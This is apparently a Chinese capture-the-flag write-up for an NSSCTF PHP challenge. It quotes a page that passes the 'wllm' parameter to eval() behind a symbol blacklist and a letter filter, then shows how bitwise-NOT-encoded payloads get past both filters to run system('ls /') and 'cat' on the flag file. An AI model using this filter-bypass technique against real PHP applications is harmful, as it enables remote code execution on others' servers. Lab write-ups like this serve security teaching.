开启NSSCTF靶场,打开链接:
上来就是代码审计
<?php
header("Content-Type:text/html;charset=utf-8");
error_reporting(0);
highlight_file(__FILE__);
if(isset($_GET['wllm']))
{
$wllm = $_GET['wllm'];
$blacklist = [' ','\t','\r','\n','\+','\[','\^','\]','\"','\-','\$','\*','\?','\<','\>','\=','\`',];
foreach ($blacklist as $blackitem)
{
if (preg_match('/' . $blackitem . '/m', $wllm)) {
die("LTLT说不能用这些奇奇怪怪的符号哦!");
}}
if(preg_match('/[a-zA-Z]/is',$wllm))
{
die("Ra's Al Ghul说不能用字母哦!");
}
echo "NoVic4说:不错哦小伙子,可你能拿到flag吗?";
eval($wllm);
}
else
{
echo "蔡总说:注意审题!!!";
}
?> 蔡总说:注意审题!!!
传参为wllm
禁用了所有字母
黑名单禁用符号
要用到取反操作:
比如执行system('ls /');
构造POC:
<?php
echo urlencode(~'system');
echo "\n";
echo urlencode(~'ls /');
?>
%8C%86%8C%8B%9A%92
%93%8C%DF%D0
再分别对他们进行取反,构造payload:
?wllm=(~%8C%86%8C%8B%9A%92)(~%93%8C%DF%D0);
得知flag的文件路径是/flllllaaaaaaggggggg
接下来就同样地进行取反,cat /flllllaaaaaaggggggg:
<?php
echo urlencode(~'system');
echo "\n";
echo urlencode(~'cat /flllllaaaaaaggggggg');
?>
%8C%86%8C%8B%9A%92
%9C%9E%8B%DF%D0%99%93%93%93%93%93%9E%9E%9E%9E%9E%9E%98%98%98%98%98%98%98
?wllm=(~%8C%86%8C%8B%9A%92)(~%9C%9E%8B%DF%D0%99%93%93%93%93%93%9E%9E%9E%9E%9E%9E%98%98%98%98%98%98%98);
得到flag:
NSSCTF{e8f40842-c131-4089-a51c-fdcf46b840e0}